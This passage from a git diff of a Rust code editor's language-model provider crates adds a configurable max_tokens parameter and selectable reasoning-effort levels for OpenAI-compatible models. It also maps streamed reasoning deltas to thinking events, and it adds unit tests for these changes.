             assert!(!parsed_model.capabilities.prompt_cache_key);
             assert!(!parsed_model.capabilities.chat_completions);
+            assert!(!parsed_model.capabilities.interleaved_reasoning);
+            assert!(!parsed_model.capabilities.max_tokens_parameter);
+            assert_eq!(parsed_model.reasoning_effort, None);
         });
     }
 
@@ -938,6 +1089,10 @@ mod tests {
             model_input.capabilities.supports_parallel_tool_calls = ToggleState::Selected;
             model_input.capabilities.supports_prompt_cache_key = ToggleState::Unselected;
             model_input.capabilities.supports_chat_completions = ToggleState::Selected;
+            model_input.capabilities.supports_thinking = ToggleState::Selected;
+            model_input.capabilities.interleaved_reasoning = ToggleState::Selected;
+            model_input.capabilities.max_tokens_parameter = ToggleState::Selected;
+            model_input.reasoning_effort = OpenAiReasoningEffort::XHigh;
 
             let parsed_model = model_input.parse_open_ai_compatible(cx).unwrap();
             assert_eq!(parsed_model.name, "somemodel");
@@ -946,6 +1101,12 @@ mod tests {
             assert!(parsed_model.capabilities.parallel_tool_calls);
             assert!(!parsed_model.capabilities.prompt_cache_key);
             assert!(parsed_model.capabilities.chat_completions);
+            assert!(parsed_model.capabilities.interleaved_reasoning);
+            assert!(parsed_model.capabilities.max_tokens_parameter);
+            assert_eq!(
+                parsed_model.reasoning_effort,
+                Some(OpenAiReasoningEffort::XHigh)
+            );
         });
     }
 
diff --git a/crates/edit_prediction/src/mercury.rs b/crates/edit_prediction/src/mercury.rs
index db41d896fef044..e835b6ece84aee 100644
--- a/crates/edit_prediction/src/mercury.rs
+++ b/crates/edit_prediction/src/mercury.rs
@@ -141,6 +141,7 @@ impl Mercury {
                 stream: false,
                 stream_options: None,
                 max_completion_tokens: None,
+                max_tokens: None,
                 stop: vec![],
                 temperature: None,
                 tool_choice: None,
diff --git a/crates/edit_prediction_cli/src/openai_client.rs b/crates/edit_prediction_cli/src/openai_client.rs
index 3352fcf508fca4..72b8e75e864695 100644
--- a/crates/edit_prediction_cli/src/openai_client.rs
+++ b/crates/edit_prediction_cli/src/openai_client.rs
@@ -42,6 +42,7 @@ impl PlainOpenAiClient {
             stream: false,
             stream_options: None,
             max_completion_tokens: Some(max_tokens),
+            max_tokens: None,
             stop: Vec::new(),
             temperature: None,
             tool_choice: None,
@@ -503,6 +504,7 @@ impl BatchingOpenAiClient {
                     stream: false,
                     stream_options: None,
                     max_completion_tokens: Some(serializable_request.max_tokens),
+                    max_tokens: None,
                     stop: Vec::new(),
                     temperature: None,
                     tool_choice: None,
diff --git a/crates/language_model_core/src/language_model_core.rs b/crates/language_model_core/src/language_model_core.rs
index 980a35ffbf4c44..cb1f75b7fd2a98 100644
--- a/crates/language_model_core/src/language_model_core.rs
+++ b/crates/language_model_core/src/language_model_core.rs
@@ -480,6 +480,38 @@ pub enum ReasoningEffort {
     XHigh,
 }
 
+impl ReasoningEffort {
+    pub const OPENAI_COMPATIBLE_SELECTABLE: [Self; 5] = [
+        Self::Minimal,
+        Self::Low,
+        Self::Medium,
+        Self::High,
+        Self::XHigh,
+    ];
+
+    pub fn label(self) -> &'static str {
+        match self {
+            Self::None => "None",
+            Self::Minimal => "Minimal",
+            Self::Low => "Low",
+            Self::Medium => "Medium",
+            Self::High => "High",
+            Self::XHigh => "Extra High",
+        }
+    }
+
+    pub fn value(self) -> &'static str {
+        match self {
+            Self::None => "none",
+            Self::Minimal => "minimal",
+            Self::Low => "low",
+            Self::Medium => "medium",
+            Self::High => "high",
+            Self::XHigh => "xhigh",
+        }
+    }
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/crates/language_models/src/provider/open_ai.rs b/crates/language_models/src/provider/open_ai.rs
index e60a1f08ccc9ad..a67a8741fcb15d 100644
--- a/crates/language_models/src/provider/open_ai.rs
+++ b/crates/language_models/src/provider/open_ai.rs
@@ -26,7 +26,8 @@ use ui_input::InputField;
 use util::ResultExt;
 
 pub use open_ai::completion::{
-    OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai, into_open_ai_response,
+    ChatCompletionMaxTokensParameter, OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai,
+    into_open_ai_response,
 };
 
 const PROVIDER_ID: LanguageModelProviderId = OPEN_AI_PROVIDER_ID;
@@ -258,7 +259,7 @@ fn default_thinking_reasoning_effort(model: &open_ai::Model) -> Option<open_ai::
 
     model
         .reasoning_effort()
-        .filter(|effort| *effort != ReasoningEffort::None)
+        .filter(|effort| open_ai_reasoning_effort_is_supported(*effort))
         .or_else(|| {
             let supported_efforts = model.supported_reasoning_efforts();
             if supported_efforts.contains(&ReasoningEffort::Medium) {
@@ -267,17 +268,39 @@ fn default_thinking_reasoning_effort(model: &open_ai::Model) -> Option<open_ai::
                 supported_efforts
                     .iter()
                     .copied()
-                    .find(|effort| *effort != ReasoningEffort::None)
+                    .find(|effort| open_ai_reasoning_effort_is_supported(*effort))
             }
         })
 }
 
+fn open_ai_reasoning_effort_is_supported(effort: open_ai::ReasoningEffort) -> bool {
+    effort != open_ai::ReasoningEffort::None
+}
+
+fn normalize_open_ai_response_thinking_effort(
+    request: &mut LanguageModelRequest,
+    model: &open_ai::Model,
+) {
+    let selected_effort_is_supported = request
+        .thinking_effort
+        .as_deref()
+        .and_then(|effort| effort.parse::<open_ai::ReasoningEffort>().ok())
+        .is_some_and(|effort| {
+            open_ai_reasoning_effort_is_supported(effort)
+                && model.supported_reasoning_efforts().contains(&effort)
+        });
+
+    if !selected_effort_is_supported {
+        request.thinking_effort = None;
+    }
+}
+
 fn supports_selectable_thinking_effort(model: &open_ai::Model) -> bool {
     model.uses_responses_api()
         && model
             .supported_reasoning_efforts()
             .iter()
-            .any(|effort| *effort != open_ai::ReasoningEffort::None)
+            .any(|effort| open_ai_reasoning_effort_is_supported(*effort))
 }
 
 fn supported_thinking_effort_levels(model: &open_ai::Model) -> Vec<LanguageModelEffortLevel> {
@@ -291,18 +314,13 @@ fn supported_thinking_effort_levels(model: &open_ai::Model) -> Vec<LanguageModel
         .iter()
         .copied()
         .filter_map(|effort| {
-            let (name, value) = match effort {
-                open_ai::ReasoningEffort::None => return None,
-                open_ai::ReasoningEffort::Minimal => ("Minimal", "minimal"),
-                open_ai::ReasoningEffort::Low => ("Low", "low"),
-                open_ai::ReasoningEffort::Medium => ("Medium", "medium"),
-                open_ai::ReasoningEffort::High => ("High", "high"),
-                open_ai::ReasoningEffort::XHigh => ("Extra High", "xhigh"),
-            };
+            if !open_ai_reasoning_effort_is_supported(effort) {
+                return None;
+            }
 
             Some(LanguageModelEffortLevel {
-                name: name.into(),
-                value: value.into(),
+                name: effort.label().into(),
+                value: effort.value().into(),
                 is_default: Some(effort) == default_effort,
             })
         })
@@ -543,6 +561,7 @@ impl LanguageModel for OpenAiLanguageModel {
             request.speed = None;
         }
         if self.model.uses_responses_api() {
+            normalize_open_ai_response_thinking_effort(&mut request, &self.model);
             let request = into_open_ai_response(
                 request,
                 self.model.id(),
@@ -567,6 +586,7 @@ impl LanguageModel for OpenAiLanguageModel {
                 self.model.supports_parallel_tool_calls(),
                 self.model.supports_prompt_cache_key(),
                 self.max_output_tokens(),
+                ChatCompletionMaxTokensParameter::MaxCompletionTokens,
                 None,
                 false,
             );
diff --git a/crates/language_models/src/provider/open_ai_compatible.rs b/crates/language_models/src/provider/open_ai_compatible.rs
index da165a77b5f812..fb914a6f7a2538 100644
--- a/crates/language_models/src/provider/open_ai_compatible.rs
+++ b/crates/language_models/src/provider/open_ai_compatible.rs
@@ -5,9 +5,10 @@ use gpui::{AnyView, App, AppContext, AsyncApp, Entity, Task, Window};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     AuthenticateError, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice, LanguageModelToolSchemaFormat, RateLimiter,
+    LanguageModelCompletionEvent, LanguageModelEffortLevel, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
+    LanguageModelToolSchemaFormat, RateLimiter,
 };
 use open_ai::{
     ResponseStreamEvent,
@@ -258,6 +259,79 @@ impl OpenAiCompatibleLanguageModel {
     }
 }
 
+fn default_thinking_reasoning_effort(model: &AvailableModel) -> Option<open_ai::ReasoningEffort> {
+    model
+        .reasoning_effort
+        .filter(|effort| *effort != open_ai::ReasoningEffort::None)
+}
+
+fn supported_thinking_effort_levels(model: &AvailableModel) -> Vec<LanguageModelEffortLevel> {
+    let Some(default_effort) = default_thinking_reasoning_effort(model) else {
+        return Vec::new();
+    };
+
+    open_ai::ReasoningEffort::OPENAI_COMPATIBLE_SELECTABLE
+        .into_iter()
+        .map(|effort| LanguageModelEffortLevel {
+            name: effort.label().into(),
+            value: effort.value().into(),
+            is_default: effort == default_effort,
+        })
+        .collect()
+}
+
+fn selected_thinking_reasoning_effort(
+    request: &LanguageModelRequest,
+) -> Option<open_ai::ReasoningEffort> {
+    request
+        .thinking_effort
+        .as_deref()
+        .and_then(|effort| effort.parse::<open_ai::ReasoningEffort>().ok())
+        .filter(|effort| *effort != open_ai::ReasoningEffort::None)
+}
+
+fn chat_completion_max_tokens_parameter(
+    model: &AvailableModel,
+) -> crate::provider::open_ai::ChatCompletionMaxTokensParameter {
+    if model.capabilities.max_tokens_parameter {
+        crate::provider::open_ai::ChatCompletionMaxTokensParameter::MaxTokens
+    } else {
+        crate::provider::open_ai::ChatCompletionMaxTokensParameter::MaxCompletionTokens
+    }
+}
+
+fn supports_none_reasoning_effort(model: &AvailableModel) -> bool {
+    model.reasoning_effort.is_some()
+}
+
+fn chat_completion_reasoning_effort(
+    request: &LanguageModelRequest,
+    model: &AvailableModel,
+) -> Option<open_ai::ReasoningEffort> {
+    if model.reasoning_effort == Some(open_ai::ReasoningEffort::None) {
+        return Some(open_ai::ReasoningEffort::None);
+    }
+
+    if request.thinking_allowed {
+        selected_thinking_reasoning_effort(request)
+            .or_else(|| default_thinking_reasoning_effort(model))
+    } else if supports_none_reasoning_effort(model) {
+        Some(open_ai::ReasoningEffort::None)
+    } else {
+        None
+    }
+}
+
+fn disable_response_thinking_for_none_effort(
+    request: &mut LanguageModelRequest,
+    model: &AvailableModel,
+) {
+    if model.reasoning_effort == Some(open_ai::ReasoningEffort::None) {
+        request.thinking_allowed = false;
+        request.thinking_effort = None;
+    }
+}
+
 impl LanguageModel for OpenAiCompatibleLanguageModel {
     fn id(&self) -> LanguageModelId {
         self.id.clone()
@@ -304,6 +378,14 @@ impl LanguageModel for OpenAiCompatibleLanguageModel {
         true
     }
 
+    fn supports_thinking(&self) -> bool {
+        default_thinking_reasoning_effort(&self.model).is_some()
+    }
+
+    fn supported_effort_levels(&self) -> Vec<LanguageModelEffortLevel> {
+        supported_thinking_effort_levels(&self.model)
+    }
+
     fn supports_split_token_display(&self) -> bool {
         true
     }
@@ -341,13 +423,15 @@ impl LanguageModel for OpenAiCompatibleLanguageModel {
         }
 
         if self.model.capabilities.chat_completions {
+            let reasoning_effort = chat_completion_reasoning_effort(&request, &self.model);
             let request = into_open_ai(
                 request,
                 &self.model.name,
                 self.model.capabilities.parallel_tool_calls,
                 self.model.capabilities.prompt_cache_key,
                 self.max_output_tokens(),
-                self.model.reasoning_effort,
+                chat_completion_max_tokens_parameter(&self.model),
+                reasoning_effort,
                 self.model.capabilities.interleaved_reasoning,
             );
             let completions = self.stream_completion(request, cx);
@@ -357,16 +441,15 @@ impl LanguageModel for OpenAiCompatibleLanguageModel {
             }
             .boxed()
         } else {
+            disable_response_thinking_for_none_effort(&mut request, &self.model);
             let request = into_open_ai_response(
                 request,
                 &self.model.name,
                 self.model.capabilities.parallel_tool_calls,
                 self.model.capabilities.prompt_cache_key,
                 self.max_output_tokens(),
-                self.model
-                    .reasoning_effort
-                    .filter(|effort| *effort != open_ai::ReasoningEffort::None),
-                self.model.reasoning_effort == Some(open_ai::ReasoningEffort::None),
+                default_thinking_reasoning_effort(&self.model),
+                supports_none_reasoning_effort(&self.model),
             );
             let completions = self.stream_response(request, cx);
             async move {
@@ -377,3 +460,262 @@ impl LanguageModel for OpenAiCompatibleLanguageModel {
         }
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    use serde_json::json;
+
+    fn available_model(reasoning_effort: Option<open_ai::ReasoningEffort>) -> AvailableModel {
+        AvailableModel {
+            name: "custom-model".to_string(),
+            display_name: None,
+            max_tokens: 128_000,
+            max_output_tokens: None,
+            max_completion_tokens: None,
+            reasoning_effort,
+            capabilities: ModelCapabilities {
+                chat_completions: false,
+                ..Default::default()
+            },
+        }
+    }
+
+    #[test]
+    fn configured_reasoning_effort_supports_thinking() {
+        assert_eq!(
+            default_thinking_reasoning_effort(&available_model(Some(
+                open_ai::ReasoningEffort::High
+            ))),
+            Some(open_ai::ReasoningEffort::High)
+        );
+    }
+
+    #[test]
+    fn missing_or_none_reasoning_effort_does_not_support_thinking() {
+        assert_eq!(
+            default_thinking_reasoning_effort(&available_model(None)),
+            None
+        );
+        assert_eq!(
+            default_thinking_reasoning_effort(&available_model(Some(
+                open_ai::ReasoningEffort::None
+            ))),
+            None
+        );
+    }
+
+    #[test]
+    fn supported_thinking_effort_levels_use_configured_effort_as_default() {
+        let effort_levels = supported_thinking_effort_levels(&available_model(Some(
+            open_ai::ReasoningEffort::High,
+        )));
+        let values = effort_levels
+            .iter()
+            .map(|level| level.value.as_ref())
+            .collect::<Vec<_>>();
+
+        assert_eq!(values, ["minimal", "low", "medium", "high", "xhigh"]);
+        assert_eq!(
+            effort_levels
+                .iter()
+                .find(|level| level.is_default)
+                .map(|level| level.value.as_ref()),
+            Some("high")
+        );
+    }
+
+    #[test]
+    fn supported_thinking_effort_levels_hide_missing_or_none_effort() {
+        assert!(supported_thinking_effort_levels(&available_model(None)).is_empty());
+        assert!(
+            supported_thinking_effort_levels(&available_model(Some(
+                open_ai::ReasoningEffort::None
+            )))
+            .is_empty()
+        );
+    }
+
+    #[test]
+    fn chat_completion_reasoning_effort_honors_request_and_configured_effort() {
+        let model = available_model(Some(open_ai::ReasoningEffort::Medium));
+        let mut request = LanguageModelRequest {
+            thinking_allowed: true,
+            ..Default::default()
+        };
+
+        assert_eq!(
+            chat_completion_reasoning_effort(&request, &model),
+            Some(open_ai::ReasoningEffort::Medium)
+        );
+
+        request.thinking_effort = Some("high".to_string());
+        assert_eq!(
+            chat_completion_reasoning_effort(&request, &model),
+            Some(open_ai::ReasoningEffort::High)
+        );
+
+        request.thinking_effort = Some("not-supported".to_string());
+        assert_eq!(
+            chat_completion_reasoning_effort(&request, &model),
+            Some(open_ai::ReasoningEffort::Medium)
+        );
+
+        request.thinking_allowed = false;
+        assert_eq!(
+            chat_completion_reasoning_effort(&request, &model),
+            Some(open_ai::ReasoningEffort::None)
+        );
+    }
+
+    #[test]
+    fn chat_completion_reasoning_effort_omits_missing_effort() {
+        let model = available_model(None);
+        let request = LanguageModelRequest {
+            thinking_allowed: false,
+            ..Default::default()
+        };
+
+        assert_eq!(chat_completion_reasoning_effort(&request, &model), None);
+    }
+
+    #[test]
+    fn chat_completion_reasoning_effort_preserves_explicit_none() {
+        let model = available_model(Some(open_ai::ReasoningEffort::None));
+        let request = LanguageModelRequest {
+            thinking_allowed: true,
+            thinking_effort: Some("high".to_string()),
+            ..Default::default()
+        };
+
+        assert_eq!(
+            chat_completion_reasoning_effort(&request, &model),
+            Some(open_ai::ReasoningEffort::None)
+        );
+    }
+
+    #[test]
+    fn chat_completion_max_tokens_parameter_defaults_to_max_completion_tokens() {
+        let model = available_model(Some(open_ai::ReasoningEffort::Medium));
+
+        assert_eq!(
+            chat_completion_max_tokens_parameter(&model),
+            crate::provider::open_ai::ChatCompletionMaxTokensParameter::MaxCompletionTokens
+        );
+    }
+
+    #[test]
+    fn chat_completion_max_tokens_parameter_uses_max_tokens_when_configured() {
+        let mut model = available_model(Some(open_ai::ReasoningEffort::Medium));
+        model.capabilities.max_tokens_parameter = true;
+
+        assert_eq!(
+            chat_completion_max_tokens_parameter(&model),
+            crate::provider::open_ai::ChatCompletionMaxTokensParameter::MaxTokens
+        );
+    }
+
+    #[test]
+    fn response_request_includes_reasoning_when_effort_is_configured() {
+        let model = available_model(Some(open_ai::ReasoningEffort::High));
+        let request = LanguageModelRequest {
+            thinking_allowed: true,
+            ..Default::default()
+        };
+
+        let request = into_open_ai_response(
+            request,
+            &model.name,
+            model.capabilities.parallel_tool_calls,
+            model.capabilities.prompt_cache_key,
+            model.max_output_tokens,
+            default_thinking_reasoning_effort(&model),
+            supports_none_reasoning_effort(&model),
+        );
+        let serialized = serde_json::to_value(request).unwrap();
+
+        assert_eq!(
+            serialized["reasoning"],
+            json!({ "effort": "high", "summary": "auto" })
+        );
+        assert_eq!(
+            serialized["include"],
+            json!(["reasoning.encrypted_content"])
+        );
+    }
+
+    #[test]
+    fn response_request_omits_reasoning_when_effort_is_missing() {
+        let model = available_model(None);
+        let request = LanguageModelRequest {
+            thinking_allowed: true,
+            ..Default::default()
+        };
+
+        let request = into_open_ai_response(
+            request,
+            &model.name,
+            model.capabilities.parallel_tool_calls,
+            model.capabilities.prompt_cache_key,
+            model.max_output_tokens,
+            default_thinking_reasoning_effort(&model),
+            supports_none_reasoning_effort(&model),
+        );
+        let serialized = serde_json::to_value(request).unwrap();
+
+        assert_eq!(serialized.get("reasoning"), None);
+        assert_eq!(serialized.get("include"), None);
+    }
+
+    #[test]
+    fn chat_completion_request_includes_selected_reasoning_effort() {
+        let mut model = available_model(Some(open_ai::ReasoningEffort::Medium));
+        model.capabilities.chat_completions = true;
+        let request = LanguageModelRequest {
+            thinking_allowed: true,
+            thinking_effort: Some("high".to_string()),
+            ..Default::default()
+        };
+        let reasoning_effort = chat_completion_reasoning_effort(&request, &model);
+
+        let request = into_open_ai(
+            request,
+            &model.name,
+            model.capabilities.parallel_tool_calls,
+            model.capabilities.prompt_cache_key,
+            model.max_output_tokens,
+            chat_completion_max_tokens_parameter(&model),
+            reasoning_effort,
+            model.capabilities.interleaved_reasoning,
+        );
+        let serialized = serde_json::to_value(request).unwrap();
+
+        assert_eq!(serialized["reasoning_effort"], json!("high"));
+    }
+
+    #[test]
+    fn configured_reasoning_effort_supports_none_reasoning_effort() {
+        assert!(supports_none_reasoning_effort(&available_model(Some(
+            open_ai::ReasoningEffort::Medium
+        ))));
+        assert!(supports_none_reasoning_effort(&available_model(Some(
+            open_ai::ReasoningEffort::None
+        ))));
+        assert!(!supports_none_reasoning_effort(&available_model(None)));
+    }
+
+    #[test]
+    fn response_thinking_effort_preserves_explicit_none() {
+        let model = available_model(Some(open_ai::ReasoningEffort::None));
+        let mut request = LanguageModelRequest {
+            thinking_allowed: true,
+            thinking_effort: Some("high".to_string()),
+            ..Default::default()
+        };
+
+        disable_response_thinking_for_none_effort(&mut request, &model);
+        assert!(!request.thinking_allowed);
+        assert_eq!(request.thinking_effort, None);
+    }
+}
diff --git a/crates/language_models/src/provider/opencode.rs b/crates/language_models/src/provider/opencode.rs
index 7ee2d980ed76c3..c2ccaad0880a64 100644
--- a/crates/language_models/src/provider/opencode.rs
+++ b/crates/language_models/src/provider/opencode.rs
@@ -27,7 +27,8 @@ use util::ResultExt;
 use crate::provider::anthropic::{AnthropicEventMapper, into_anthropic};
 use crate::provider::google::{GoogleEventMapper, into_google};
 use crate::provider::open_ai::{
-    OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai, into_open_ai_response,
+    ChatCompletionMaxTokensParameter, OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai,
+    into_open_ai_response,
 };
 
 fn normalize_reasoning_effort(effort: &str) -> Option<ReasoningEffort> {
@@ -693,6 +694,7 @@ impl LanguageModel for OpenCodeLanguageModel {
                     false,
                     false,
                     self.model.max_output_tokens(self.subscription),
+                    ChatCompletionMaxTokensParameter::MaxCompletionTokens,
                     reasoning_effort,
                     self.model.interleaved_reasoning(),
                 );
diff --git a/crates/language_models/src/provider/vercel_ai_gateway.rs b/crates/language_models/src/provider/vercel_ai_gateway.rs
index 21f0b7c7669d83..d319538bc431c3 100644
--- a/crates/language_models/src/provider/vercel_ai_gateway.rs
+++ b/crates/language_models/src/provider/vercel_ai_gateway.rs
@@ -482,6 +482,7 @@ impl LanguageModel for VercelAiGatewayLanguageModel {
             self.model.capabilities.parallel_tool_calls,
             self.model.capabilities.prompt_cache_key,
             self.max_output_tokens(),
+            crate::provider::open_ai::ChatCompletionMaxTokensParameter::MaxCompletionTokens,
             None,
             false,
         );
@@ -617,6 +618,7 @@ async fn list_models(
                 prompt_cache_key,
                 chat_completions: true,
                 interleaved_reasoning: false,
+                max_tokens_parameter: false,
             },
         });
     }
diff --git a/crates/language_models/src/provider/x_ai.rs b/crates/language_models/src/provider/x_ai.rs
index f66e31aa8395c6..0627874bcc5ff9 100644
--- a/crates/language_models/src/provider/x_ai.rs
+++ b/crates/language_models/src/provider/x_ai.rs
@@ -443,6 +443,7 @@ impl LanguageModel for XAiLanguageModel {
             self.model.supports_parallel_tool_calls(),
             self.model.supports_prompt_cache_key(),
             self.max_output_tokens(),
+            crate::provider::open_ai::ChatCompletionMaxTokensParameter::MaxCompletionTokens,
             reasoning_effort,
             false,
         );
diff --git a/crates/language_models_cloud/src/language_models_cloud.rs b/crates/language_models_cloud/src/language_models_cloud.rs
index f04e32c69540e2..0920f41821295f 100644
--- a/crates/language_models_cloud/src/language_models_cloud.rs
+++ b/crates/language_models_cloud/src/language_models_cloud.rs
@@ -41,7 +41,8 @@ use thiserror::Error;
 use anthropic::completion::{AnthropicEventMapper, AnthropicPromptCacheMode, into_anthropic};
 use google_ai::completion::{GoogleEventMapper, into_google};
 use open_ai::completion::{
-    OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai, into_open_ai_response,
+    ChatCompletionMaxTokensParameter, OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai,
+    into_open_ai_response,
 };
 
 const PROVIDER_ID: LanguageModelProviderId = ZED_CLOUD_PROVIDER_ID;
@@ -588,6 +589,7 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                     self.model.supports_parallel_tool_calls,
                     false,
                     None,
+                    ChatCompletionMaxTokensParameter::MaxCompletionTokens,
                     None,
                     false,
                 );
diff --git a/crates/open_ai/src/completion.rs b/crates/open_ai/src/completion.rs
index 519cdeaf3bf4f1..f39a9af218fd42 100644
--- a/crates/open_ai/src/completion.rs
+++ b/crates/open_ai/src/completion.rs
@@ -37,12 +37,19 @@ fn service_tier_for(speed: Option<language_model_core::Speed>) -> Option<Service
     }
 }
 
+#[derive(Clone, Copy, Debug, Eq, PartialEq)]
+pub enum ChatCompletionMaxTokensParameter {
+    MaxCompletionTokens,
+    MaxTokens,
+}
+
 pub fn into_open_ai(
     request: LanguageModelRequest,
     model_id: &str,
     supports_parallel_tool_calls: bool,
     supports_prompt_cache_key: bool,
     max_output_tokens: Option<u64>,
+    max_tokens_parameter: ChatCompletionMaxTokensParameter,
     reasoning_effort: Option<ReasoningEffort>,
     interleaved_reasoning: bool,
 ) -> crate::Request {
@@ -156,7 +163,14 @@ pub fn into_open_ai(
         },
         stop: request.stop,
         temperature: request.temperature.or(Some(1.0)),
-        max_completion_tokens: max_output_tokens,
+        max_completion_tokens: match max_tokens_parameter {
+            ChatCompletionMaxTokensParameter::MaxCompletionTokens => max_output_tokens,
+            ChatCompletionMaxTokensParameter::MaxTokens => None,
+        },
+        max_tokens: match max_tokens_parameter {
+            ChatCompletionMaxTokensParameter::MaxCompletionTokens => None,
+            ChatCompletionMaxTokensParameter::MaxTokens => max_output_tokens,
+        },
         parallel_tool_calls: if supports_parallel_tool_calls && !request.tools.is_empty() {
             Some(supports_parallel_tool_calls)
         } else {
@@ -608,13 +622,11 @@ impl OpenAiEventMapper {
         };
 
         if let Some(delta) = choice.delta.as_ref() {
+            if let Some(reasoning) = delta.reasoning.clone() {
+                push_thinking_event(reasoning, &mut events);
+            }
             if let Some(reasoning_content) = delta.reasoning_content.clone() {
-                if !reasoning_content.is_empty() {
-                    events.push(Ok(LanguageModelCompletionEvent::Thinking {
-                        text: reasoning_content,
-                        signature: None,
-                    }));
-                }
+                push_thinking_event(reasoning_content, &mut events);
             }
             if let Some(content) = delta.content.clone() {
                 if !content.is_empty() {
@@ -703,6 +715,18 @@ impl OpenAiEventMapper {
     }
 }
 
+fn push_thinking_event(
+    text: String,
+    events: &mut Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>,
+) {
+    if !text.is_empty() {
+        events.push(Ok(LanguageModelCompletionEvent::Thinking {
+            text,
+            signature: None,
+        }));
+    }
+}
+
 #[derive(Default)]
 struct RawToolCall {
     id: String,
@@ -1799,7 +1823,16 @@ mod tests {
                 compact_at_tokens: None,
             };
 
-            let chat = into_open_ai(request, "gpt-5.4", true, true, None, None, false);
+            let chat = into_open_ai(
+                request,
+                "gpt-5.4",
+                true,
+                true,
+                None,
+                ChatCompletionMaxTokensParameter::MaxCompletionTokens,
+                None,
+                false,
+            );
 
             let serialized = serde_json::to_value(&chat)?;
             assert_eq!(
@@ -1813,6 +1846,45 @@ mod tests {
         Ok(())
     }
 
+    #[test]
+    fn into_open_ai_can_send_max_tokens_parameter() -> Result<()> {
+        let request = LanguageModelRequest {
+            thread_id: None,
+            prompt_id: None,
+            intent: None,
+            messages: vec![LanguageModelRequestMessage {
+                role: Role::User,
+                content: vec![MessageContent::Text("Hello".into())],
+                cache: false,
+                reasoning_details: None,
+            }],
+            tools: Vec::new(),
+            tool_choice: None,
+            stop: Vec::new(),
+            temperature: None,
+            thinking_allowed: false,
+            thinking_effort: None,
+            speed: None,
+            compact_at_tokens: None,
+        };
+
+        let chat = into_open_ai(
+            request,
+            "compatible-model",
+            false,
+            false,
+            Some(4096),
+            ChatCompletionMaxTokensParameter::MaxTokens,
+            None,
+            false,
+        );
+
+        let serialized = serde_json::to_value(&chat)?;
+        assert_eq!(serialized.get("max_completion_tokens"), None);
+        assert_eq!(serialized["max_tokens"], json!(4096));
+        Ok(())
+    }
+
     #[test]
     fn into_open_ai_response_sends_none_reasoning_when_thinking_is_disabled() -> Result<()> {
         let request = LanguageModelRequest {
@@ -3160,7 +3232,16 @@ mod tests {
             compact_at_tokens: None,
         };
 
-        let result = into_open_ai(request.clone(), "model", false, false, None, None, true);
+        let result = into_open_ai(
+            request.clone(),
+            "model",
+            false,
+            false,
+            None,
+            ChatCompletionMaxTokensParameter::MaxCompletionTokens,
+            None,
+            true,
+        );
         assert_eq!(
             serde_json::to_value(&result).unwrap()["messages"],
             json!([
@@ -3175,7 +3256,16 @@ mod tests {
             ])
         );
 
-        let result = into_open_ai(request, "model", false, false, None, None, false);
+        let result = into_open_ai(
+            request,
+            "model",
+            false,
+            false,
+            None,
+            ChatCompletionMaxTokensParameter::MaxCompletionTokens,
+            None,
+            false,
+        );
         assert_eq!(
             serde_json::to_value(&result).unwrap()["messages"],
             json!([
@@ -3193,6 +3283,32 @@ mod tests {
         );
     }
 
+    #[test]
+    fn stream_maps_reasoning() {
+        let events = map_completion_events(vec![ResponseStreamEvent {
+            choices: vec![ChoiceDelta {
+                index: 0,
+                delta: Some(ResponseMessageDelta {
+                    role: None,
+                    content: None,
+                    reasoning: Some("thinking".into()),
+                    tool_calls: None,
+                    reasoning_content: None,
+                }),
+                finish_reason: None,
+            }],
+            usage: None,
+        }]);
+
+        assert_eq!(
+            events,
+            vec![LanguageModelCompletionEvent::Thinking {
+                text: "thinking".into(),
+                signature: None,
+            }]
+        );
+    }
+
     #[test]
     fn stream_maps_preserves_tool_id_and_name_across_empty_deltas() {
         // DashScope sends id="" and name="" in subsequent tool_calls delta
@@ -3207,6 +3323,7 @@ mod tests {
                     delta: Some(ResponseMessageDelta {
                         role: None,
                         content: None,
+                        reasoning: None,
                         tool_calls: Some(vec![ToolCallChunk {
                             index: 0,
                             id: Some("call_dashscope_test".into()),
@@ -3228,6 +3345,7 @@ mod tests {
                     delta: Some(ResponseMessageDelta {
                         role: None,
                         content: None,
+                        reasoning: None,
                         tool_calls: Some(vec![ToolCallChunk {
                             index: 0,
                             id: Some("".into()),
@@ -3248,6 +3366,7 @@ mod tests {
                     delta: Some(ResponseMessageDelta {
                         role: None,
                         content: None,
+                        reasoning: None,
                         tool_calls: Some(vec![ToolCallChunk {
                             index: 0,
                             id: Some("".into()),
diff --git a/crates/open_ai/src/open_ai.rs b/crates/open_ai/src/open_ai.rs
index 0987af568b205c..e706e10a0e1172 100644
--- a/crates/open_ai/src/open_ai.rs
+++ b/crates/open_ai/src/open_ai.rs
@@ -494,6 +494,8 @@ pub struct Request {
     pub stream_options: Option<StreamOptions>,
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub max_completion_tokens: Option<u64>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub max_tokens: Option<u64>,
     #[serde(default, skip_serializing_if = "Vec::is_empty")]
     pub stop: Vec<String>,
     #[serde(default, skip_serializing_if = "Option::is_none")]
@@ -667,6 +669,7 @@ pub struct Choice {
 pub struct ResponseMessageDelta {
     pub role: Option<Role>,
     pub content: Option<String>,
+    pub reasoning: Option<String>,
     #[serde(default, skip_serializing_if = "is_none_or_empty")]
     pub tool_calls: Option<Vec<ToolCallChunk>>,
     #[serde(default, skip_serializing_if = "is_none_or_empty")]
diff --git a/crates/settings_content/src/language_model.rs b/crates/settings_content/src/language_model.rs
index 0869930bb685c7..a673ecc7a88660 100644
--- a/crates/settings_content/src/language_model.rs
+++ b/crates/settings_content/src/language_model.rs
